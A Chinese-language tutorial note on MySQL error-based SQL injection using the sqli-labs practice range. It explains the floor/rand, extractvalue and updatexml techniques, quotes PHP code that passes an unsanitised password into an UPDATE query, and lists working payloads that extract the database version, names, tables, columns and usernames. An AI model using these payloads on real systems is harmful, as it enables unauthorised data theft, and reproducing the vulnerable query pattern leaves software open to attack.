floor()
Rand() //随机函数
Floor() //取整函数
Count() //聚合函数
Group by key //分组语句
select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x
floor(rand(0)*2))x 利用随机数取整次数报错
extractvalue()
函数解释: extractvalue():从⽬标XML中返回包含所查询值的字符串。
EXTRACTVALUE (XML_document, XPath_string);
第⼀个参数:XML_document是String格式,为XML⽂档对象的名称,⽂中为Doc
第⼆个参数:XPath_string (Xpath格式的字符串)
concat:返回结果为连接参数产⽣的字符串。
利用第二个参数返回的值不是Xapth格式报错
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
使用sqli-labs靶场
查看源码:
$uname = check_input($_POST['uname']);
$passwd = $_POST['passwd'];
@$sql = "SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$result = mysql_query($sql); $
row = mysql_fetch_array($result);
if($row) { $row1 = $row['username'];
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
mysql_query($update);
源代码关键语句:
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
利用passwd制造显位,所以要加‘号来抵消单引号才能使语句有用
获取数据库版本信息
and extractvalue(1,concat(0x7e,(select @@version),0x7e))#
获取数据库名
and extractvalue(1,concat(0x7e,(select database()),0x7e))#
获取表名
and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e))#
获取列名
and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),0x7e))#
获取数据
and extractvalue(1,concat(0x7e,(select * from (select username from users limit 0,1) as a),0x7e))#